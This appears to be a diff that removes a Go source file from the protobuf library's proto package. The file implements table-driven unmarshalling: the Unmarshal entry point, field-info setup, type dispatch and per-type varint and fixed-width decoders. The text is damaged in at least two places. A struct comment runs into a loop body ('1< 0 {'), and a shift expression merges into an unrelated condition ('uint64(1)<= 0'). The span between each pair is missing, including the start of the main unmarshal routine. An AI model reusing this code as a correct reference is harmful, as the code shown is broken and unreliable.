-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "errors" - "fmt" - "io" - "math" - "reflect" - "strconv" - "strings" - "sync" - "sync/atomic" - "unicode/utf8" -) - -// Unmarshal is the entry point from the generated .pb.go files. -// This function is not intended to be used by non-generated code. -// This function is not subject to any compatibility guarantee. -// msg contains a pointer to a protocol buffer struct. -// b is the data to be unmarshaled into the protocol buffer. -// a is a pointer to a place to store cached unmarshal information. -func (a *InternalMessageInfo) Unmarshal(msg Message, b []byte) error { - // Load the unmarshal information for this message type. - // The atomic load ensures memory consistency. - u := atomicLoadUnmarshalInfo(&a.unmarshal) - if u == nil { - // Slow path: find unmarshal info for msg, update a with it. - u = getUnmarshalInfo(reflect.TypeOf(msg).Elem()) - atomicStoreUnmarshalInfo(&a.unmarshal, u) - } - // Then do the unmarshaling. - err := u.unmarshal(toPointer(&msg), b) - return err -} - -type unmarshalInfo struct { - typ reflect.Type // type of the protobuf struct - - // 0 = only typ field is initialized - // 1 = completely initialized - initialized int32 - lock sync.Mutex // prevents double initialization - dense []unmarshalFieldInfo // fields indexed by tag # - sparse map[uint64]unmarshalFieldInfo // fields indexed by tag # - reqFields []string // names of required fields - reqMask uint64 // 1< 0 { - // Read tag and wire type. - // Special case 1 and 2 byte varints. - var x uint64 - if b[0] < 128 { - x = uint64(b[0]) - b = b[1:] - } else if len(b) >= 2 && b[1] < 128 { - x = uint64(b[0]&0x7f) + uint64(b[1])<<7 - b = b[2:] - } else { - var n int - x, n = decodeVarint(b) - if n == 0 { - return io.ErrUnexpectedEOF - } - b = b[n:] - } - tag := x >> 3 - wire := int(x) & 7 - - // Dispatch on the tag to one of the unmarshal* functions below. - var f unmarshalFieldInfo - if tag < uint64(len(u.dense)) { - f = u.dense[tag] - } else { - f = u.sparse[tag] - } - if fn := f.unmarshal; fn != nil { - var err error - b, err = fn(b, m.offset(f.field), wire) - if err == nil { - reqMask |= f.reqMask - continue - } - if r, ok := err.(*RequiredNotSetError); ok { - // Remember this error, but keep parsing. We need to produce - // a full parse even if a required field is missing. - if errLater == nil { - errLater = r - } - reqMask |= f.reqMask - continue - } - if err != errInternalBadWireType { - if err == errInvalidUTF8 { - if errLater == nil { - fullName := revProtoTypes[reflect.PtrTo(u.typ)] + "." + f.name - errLater = &invalidUTF8Error{fullName} - } - continue - } - return err - } - // Fragments with bad wire type are treated as unknown fields. - } - - // Unknown tag. - if !u.unrecognized.IsValid() { - // Don't keep unrecognized data; just skip it. - var err error - b, err = skipField(b, wire) - if err != nil { - return err - } - continue - } - // Keep unrecognized data around. - // maybe in extensions, maybe in the unrecognized field. - z := m.offset(u.unrecognized).toBytes() - var emap map[int32]Extension - var e Extension - for _, r := range u.extensionRanges { - if uint64(r.Start) <= tag && tag <= uint64(r.End) { - if u.extensions.IsValid() { - mp := m.offset(u.extensions).toExtensions() - emap = mp.extensionsWrite() - e = emap[int32(tag)] - z = &e.enc - break - } - if u.oldExtensions.IsValid() { - p := m.offset(u.oldExtensions).toOldExtensions() - emap = *p - if emap == nil { - emap = map[int32]Extension{} - *p = emap - } - e = emap[int32(tag)] - z = &e.enc - break - } - panic("no extensions field available") - } - } - - // Use wire type to skip data. - var err error - b0 := b - b, err = skipField(b, wire) - if err != nil { - return err - } - *z = encodeVarint(*z, tag<<3|uint64(wire)) - *z = append(*z, b0[:len(b0)-len(b)]...) - - if emap != nil { - emap[int32(tag)] = e - } - } - if reqMask != u.reqMask && errLater == nil { - // A required field of this message is missing. - for _, n := range u.reqFields { - if reqMask&1 == 0 { - errLater = &RequiredNotSetError{n} - } - reqMask >>= 1 - } - } - return errLater -} - -// computeUnmarshalInfo fills in u with information for use -// in unmarshaling protocol buffers of type u.typ. -func (u *unmarshalInfo) computeUnmarshalInfo() { - u.lock.Lock() - defer u.lock.Unlock() - if u.initialized != 0 { - return - } - t := u.typ - n := t.NumField() - - // Set up the "not found" value for the unrecognized byte buffer. - // This is the default for proto3. - u.unrecognized = invalidField - u.extensions = invalidField - u.oldExtensions = invalidField - - // List of the generated type and offset for each oneof field. - type oneofField struct { - ityp reflect.Type // interface type of oneof field - field field // offset in containing message - } - var oneofFields []oneofField - - for i := 0; i < n; i++ { - f := t.Field(i) - if f.Name == "XXX_unrecognized" { - // The byte slice used to hold unrecognized input is special. - if f.Type != reflect.TypeOf(([]byte)(nil)) { - panic("bad type for XXX_unrecognized field: " + f.Type.Name()) - } - u.unrecognized = toField(&f) - continue - } - if f.Name == "XXX_InternalExtensions" { - // Ditto here. - if f.Type != reflect.TypeOf(XXX_InternalExtensions{}) { - panic("bad type for XXX_InternalExtensions field: " + f.Type.Name()) - } - u.extensions = toField(&f) - if f.Tag.Get("protobuf_messageset") == "1" { - u.isMessageSet = true - } - continue - } - if f.Name == "XXX_extensions" { - // An older form of the extensions field. - if f.Type != reflect.TypeOf((map[int32]Extension)(nil)) { - panic("bad type for XXX_extensions field: " + f.Type.Name()) - } - u.oldExtensions = toField(&f) - continue - } - if f.Name == "XXX_NoUnkeyedLiteral" || f.Name == "XXX_sizecache" { - continue - } - - oneof := f.Tag.Get("protobuf_oneof") - if oneof != "" { - oneofFields = append(oneofFields, oneofField{f.Type, toField(&f)}) - // The rest of oneof processing happens below. - continue - } - - tags := f.Tag.Get("protobuf") - tagArray := strings.Split(tags, ",") - if len(tagArray) < 2 { - panic("protobuf tag not enough fields in " + t.Name() + "." + f.Name + ": " + tags) - } - tag, err := strconv.Atoi(tagArray[1]) - if err != nil { - panic("protobuf tag field not an integer: " + tagArray[1]) - } - - name := "" - for _, tag := range tagArray[3:] { - if strings.HasPrefix(tag, "name=") { - name = tag[5:] - } - } - - // Extract unmarshaling function from the field (its type and tags). - unmarshal := fieldUnmarshaler(&f) - - // Required field? - var reqMask uint64 - if tagArray[2] == "req" { - bit := len(u.reqFields) - u.reqFields = append(u.reqFields, name) - reqMask = uint64(1) << uint(bit) - // TODO: if we have more than 64 required fields, we end up - // not verifying that all required fields are present. - // Fix this, perhaps using a count of required fields? - } - - // Store the info in the correct slot in the message. - u.setTag(tag, toField(&f), unmarshal, reqMask, name) - } - - // Find any types associated with oneof fields. - var oneofImplementers []interface{} - switch m := reflect.Zero(reflect.PtrTo(t)).Interface().(type) { - case oneofFuncsIface: - _, _, _, oneofImplementers = m.XXX_OneofFuncs() - case oneofWrappersIface: - oneofImplementers = m.XXX_OneofWrappers() - } - for _, v := range oneofImplementers { - tptr := reflect.TypeOf(v) // *Msg_X - typ := tptr.Elem() // Msg_X - - f := typ.Field(0) // oneof implementers have one field - baseUnmarshal := fieldUnmarshaler(&f) - tags := strings.Split(f.Tag.Get("protobuf"), ",") - fieldNum, err := strconv.Atoi(tags[1]) - if err != nil { - panic("protobuf tag field not an integer: " + tags[1]) - } - var name string - for _, tag := range tags { - if strings.HasPrefix(tag, "name=") { - name = strings.TrimPrefix(tag, "name=") - break - } - } - - // Find the oneof field that this struct implements. - // Might take O(n^2) to process all of the oneofs, but who cares. - for _, of := range oneofFields { - if tptr.Implements(of.ityp) { - // We have found the corresponding interface for this struct. - // That lets us know where this struct should be stored - // when we encounter it during unmarshaling. - unmarshal := makeUnmarshalOneof(typ, of.ityp, baseUnmarshal) - u.setTag(fieldNum, of.field, unmarshal, 0, name) - } - } - - } - - // Get extension ranges, if any. - fn := reflect.Zero(reflect.PtrTo(t)).MethodByName("ExtensionRangeArray") - if fn.IsValid() { - if !u.extensions.IsValid() && !u.oldExtensions.IsValid() { - panic("a message with extensions, but no extensions field in " + t.Name()) - } - u.extensionRanges = fn.Call(nil)[0].Interface().([]ExtensionRange) - } - - // Explicitly disallow tag 0. This will ensure we flag an error - // when decoding a buffer of all zeros. Without this code, we - // would decode and skip an all-zero buffer of even length. - // [0 0] is [tag=0/wiretype=varint varint-encoded-0]. - u.setTag(0, zeroField, func(b []byte, f pointer, w int) ([]byte, error) { - return nil, fmt.Errorf("proto: %s: illegal tag 0 (wire type %d)", t, w) - }, 0, "") - - // Set mask for required field check. - u.reqMask = uint64(1)<= 0 && (tag < 16 || tag < 2*n) { // TODO: what are the right numbers here? - for len(u.dense) <= tag { - u.dense = append(u.dense, unmarshalFieldInfo{}) - } - u.dense[tag] = i - return - } - if u.sparse == nil { - u.sparse = map[uint64]unmarshalFieldInfo{} - } - u.sparse[uint64(tag)] = i -} - -// fieldUnmarshaler returns an unmarshaler for the given field. -func fieldUnmarshaler(f *reflect.StructField) unmarshaler { - if f.Type.Kind() == reflect.Map { - return makeUnmarshalMap(f) - } - return typeUnmarshaler(f.Type, f.Tag.Get("protobuf")) -} - -// typeUnmarshaler returns an unmarshaler for the given field type / field tag pair. -func typeUnmarshaler(t reflect.Type, tags string) unmarshaler { - tagArray := strings.Split(tags, ",") - encoding := tagArray[0] - name := "unknown" - proto3 := false - validateUTF8 := true - for _, tag := range tagArray[3:] { - if strings.HasPrefix(tag, "name=") { - name = tag[5:] - } - if tag == "proto3" { - proto3 = true - } - } - validateUTF8 = validateUTF8 && proto3 - - // Figure out packaging (pointer, slice, or both) - slice := false - pointer := false - if t.Kind() == reflect.Slice && t.Elem().Kind() != reflect.Uint8 { - slice = true - t = t.Elem() - } - if t.Kind() == reflect.Ptr { - pointer = true - t = t.Elem() - } - - // We'll never have both pointer and slice for basic types. - if pointer && slice && t.Kind() != reflect.Struct { - panic("both pointer and slice for basic type in " + t.Name()) - } - - switch t.Kind() { - case reflect.Bool: - if pointer { - return unmarshalBoolPtr - } - if slice { - return unmarshalBoolSlice - } - return unmarshalBoolValue - case reflect.Int32: - switch encoding { - case "fixed32": - if pointer { - return unmarshalFixedS32Ptr - } - if slice { - return unmarshalFixedS32Slice - } - return unmarshalFixedS32Value - case "varint": - // this could be int32 or enum - if pointer { - return unmarshalInt32Ptr - } - if slice { - return unmarshalInt32Slice - } - return unmarshalInt32Value - case "zigzag32": - if pointer { - return unmarshalSint32Ptr - } - if slice { - return unmarshalSint32Slice - } - return unmarshalSint32Value - } - case reflect.Int64: - switch encoding { - case "fixed64": - if pointer { - return unmarshalFixedS64Ptr - } - if slice { - return unmarshalFixedS64Slice - } - return unmarshalFixedS64Value - case "varint": - if pointer { - return unmarshalInt64Ptr - } - if slice { - return unmarshalInt64Slice - } - return unmarshalInt64Value - case "zigzag64": - if pointer { - return unmarshalSint64Ptr - } - if slice { - return unmarshalSint64Slice - } - return unmarshalSint64Value - } - case reflect.Uint32: - switch encoding { - case "fixed32": - if pointer { - return unmarshalFixed32Ptr - } - if slice { - return unmarshalFixed32Slice - } - return unmarshalFixed32Value - case "varint": - if pointer { - return unmarshalUint32Ptr - } - if slice { - return unmarshalUint32Slice - } - return unmarshalUint32Value - } - case reflect.Uint64: - switch encoding { - case "fixed64": - if pointer { - return unmarshalFixed64Ptr - } - if slice { - return unmarshalFixed64Slice - } - return unmarshalFixed64Value - case "varint": - if pointer { - return unmarshalUint64Ptr - } - if slice { - return unmarshalUint64Slice - } - return unmarshalUint64Value - } - case reflect.Float32: - if pointer { - return unmarshalFloat32Ptr - } - if slice { - return unmarshalFloat32Slice - } - return unmarshalFloat32Value - case reflect.Float64: - if pointer { - return unmarshalFloat64Ptr - } - if slice { - return unmarshalFloat64Slice - } - return unmarshalFloat64Value - case reflect.Map: - panic("map type in typeUnmarshaler in " + t.Name()) - case reflect.Slice: - if pointer { - panic("bad pointer in slice case in " + t.Name()) - } - if slice { - return unmarshalBytesSlice - } - return unmarshalBytesValue - case reflect.String: - if validateUTF8 { - if pointer { - return unmarshalUTF8StringPtr - } - if slice { - return unmarshalUTF8StringSlice - } - return unmarshalUTF8StringValue - } - if pointer { - return unmarshalStringPtr - } - if slice { - return unmarshalStringSlice - } - return unmarshalStringValue - case reflect.Struct: - // message or group field - if !pointer { - panic(fmt.Sprintf("message/group field %s:%s without pointer", t, encoding)) - } - switch encoding { - case "bytes": - if slice { - return makeUnmarshalMessageSlicePtr(getUnmarshalInfo(t), name) - } - return makeUnmarshalMessagePtr(getUnmarshalInfo(t), name) - case "group": - if slice { - return makeUnmarshalGroupSlicePtr(getUnmarshalInfo(t), name) - } - return makeUnmarshalGroupPtr(getUnmarshalInfo(t), name) - } - } - panic(fmt.Sprintf("unmarshaler not found type:%s encoding:%s", t, encoding)) -} - -// Below are all the unmarshalers for individual fields of various types. - -func unmarshalInt64Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x) - *f.toInt64() = v - return b, nil -} - -func unmarshalInt64Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x) - *f.toInt64Ptr() = &v - return b, nil -} - -func unmarshalInt64Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - x, n = decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x) - s := f.toInt64Slice() - *s = append(*s, v) - } - return res, nil - } - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x) - s := f.toInt64Slice() - *s = append(*s, v) - return b, nil -} - -func unmarshalSint64Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x>>1) ^ int64(x)<<63>>63 - *f.toInt64() = v - return b, nil -} - -func unmarshalSint64Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x>>1) ^ int64(x)<<63>>63 - *f.toInt64Ptr() = &v - return b, nil -} - -func unmarshalSint64Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - x, n = decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x>>1) ^ int64(x)<<63>>63 - s := f.toInt64Slice() - *s = append(*s, v) - } - return res, nil - } - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int64(x>>1) ^ int64(x)<<63>>63 - s := f.toInt64Slice() - *s = append(*s, v) - return b, nil -} - -func unmarshalUint64Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint64(x) - *f.toUint64() = v - return b, nil -} - -func unmarshalUint64Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint64(x) - *f.toUint64Ptr() = &v - return b, nil -} - -func unmarshalUint64Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - x, n = decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint64(x) - s := f.toUint64Slice() - *s = append(*s, v) - } - return res, nil - } - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint64(x) - s := f.toUint64Slice() - *s = append(*s, v) - return b, nil -} - -func unmarshalInt32Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x) - *f.toInt32() = v - return b, nil -} - -func unmarshalInt32Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x) - f.setInt32Ptr(v) - return b, nil -} - -func unmarshalInt32Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - x, n = decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x) - f.appendInt32Slice(v) - } - return res, nil - } - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x) - f.appendInt32Slice(v) - return b, nil -} - -func unmarshalSint32Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x>>1) ^ int32(x)<<31>>31 - *f.toInt32() = v - return b, nil -} - -func unmarshalSint32Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x>>1) ^ int32(x)<<31>>31 - f.setInt32Ptr(v) - return b, nil -} - -func unmarshalSint32Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - x, n = decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x>>1) ^ int32(x)<<31>>31 - f.appendInt32Slice(v) - } - return res, nil - } - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := int32(x>>1) ^ int32(x)<<31>>31 - f.appendInt32Slice(v) - return b, nil -} - -func unmarshalUint32Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint32(x) - *f.toUint32() = v - return b, nil -} - -func unmarshalUint32Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint32(x) - *f.toUint32Ptr() = &v - return b, nil -} - -func unmarshalUint32Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - x, n = decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint32(x) - s := f.toUint32Slice() - *s = append(*s, v) - } - return res, nil - } - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - v := uint32(x) - s := f.toUint32Slice() - *s = append(*s, v) - return b, nil -} - -func unmarshalFixed64Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56 - *f.toUint64() = v - return b[8:], nil -} - -func unmarshalFixed64Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56 - *f.toUint64Ptr() = &v - return b[8:], nil -} - -func unmarshalFixed64Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56 - s := f.toUint64Slice() - *s = append(*s, v) - b = b[8:] - } - return res, nil - } - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 | uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56 - s := f.toUint64Slice() - *s = append(*s, v) - return b[8:], nil -} - -func unmarshalFixedS64Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := int64(b[0]) | int64(b[1])<<8 | int64(b[2])<<16 | int64(b[3])<<24 | int64(b[4])<<32 | int64(b[5])<<40 | int64(b[6])<<48 | int64(b[7])<<56 - *f.toInt64() = v - return b[8:], nil -} - -func unmarshalFixedS64Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := int64(b[0]) | int64(b[1])<<8 | int64(b[2])<<16 | int64(b[3])<<24 | int64(b[4])<<32 | int64(b[5])<<40 | int64(b[6])<<48 | int64(b[7])<<56 - *f.toInt64Ptr() = &v - return b[8:], nil -} - -func unmarshalFixedS64Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := int64(b[0]) | int64(b[1])<<8 | int64(b[2])<<16 | int64(b[3])<<24 | int64(b[4])<<32 | int64(b[5])<<40 | int64(b[6])<<48 | int64(b[7])<<56 - s := f.toInt64Slice() - *s = append(*s, v) - b = b[8:] - } - return res, nil - } - if w != WireFixed64 { - return b, errInternalBadWireType - } - if len(b) < 8 { - return nil, io.ErrUnexpectedEOF - } - v := int64(b[0]) | int64(b[1])<<8 | int64(b[2])<<16 | int64(b[3])<<24 | int64(b[4])<<32 | int64(b[5])<<40 | int64(b[6])<<48 | int64(b[7])<<56 - s := f.toInt64Slice() - *s = append(*s, v) - return b[8:], nil -} - -func unmarshalFixed32Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24 - *f.toUint32() = v - return b[4:], nil -} - -func unmarshalFixed32Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24 - *f.toUint32Ptr() = &v - return b[4:], nil -} - -func unmarshalFixed32Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24 - s := f.toUint32Slice() - *s = append(*s, v) - b = b[4:] - } - return res, nil - } - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24 - s := f.toUint32Slice() - *s = append(*s, v) - return b[4:], nil -} - -func unmarshalFixedS32Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := int32(b[0]) | int32(b[1])<<8 | int32(b[2])<<16 | int32(b[3])<<24 - *f.toInt32() = v - return b[4:], nil -} - -func unmarshalFixedS32Ptr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := int32(b[0]) | int32(b[1])<<8 | int32(b[2])<<16 | int32(b[3])<<24 - f.setInt32Ptr(v) - return b[4:], nil -} - -func unmarshalFixedS32Slice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := int32(b[0]) | int32(b[1])<<8 | int32(b[2])<<16 | int32(b[3])<<24 - f.appendInt32Slice(v) - b = b[4:] - } - return res, nil - } - if w != WireFixed32 { - return b, errInternalBadWireType - } - if len(b) < 4 { - return nil, io.ErrUnexpectedEOF - } - v := int32(b[0]) | int32(b[1])<<8 | int32(b[2])<<16 | int32(b[3])<<24 - f.appendInt32Slice(v) - return b[4:], nil -} - -func unmarshalBoolValue(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - // Note: any length varint is allowed, even though any sane - // encoder will use one byte. - // See https://github.com/golang/protobuf/issues/76 - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - // TODO: check if x>1? Tests seem to indicate no. - v := x != 0 - *f.toBool() = v - return b[n:], nil -} - -func unmarshalBoolPtr(b []byte, f pointer, w int) ([]byte, error) { - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - v := x != 0 - *f.toBoolPtr() = &v - return b[n:], nil -} - -func unmarshalBoolSlice(b []byte, f pointer, w int) ([]byte, error) { - if w == WireBytes { // packed - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - b = b[n:] - if x > uint64(len(b)) { - return nil, io.ErrUnexpectedEOF - } - res := b[x:] - b = b[:x] - for len(b) > 0 { - x, n = decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - v := x != 0 - s := f.toBoolSlice() - *s = append(*s, v) - b = b[n:] - } - return res, nil - } - if w != WireVarint { - return b, errInternalBadWireType - } - x, n := decodeVarint(b) - if n == 0 { - return nil, io.ErrUnexpectedEOF - } - v := x != 0 - s := f.toBoolSlice() - *s = append(*s, v) - return b[n:], nil -} - -func unmarshalFloat64Value(b []byte, f pointer, w int) ([]byte, error) { - if w != WireFixed64 { - return b, errInternalBadWireType - 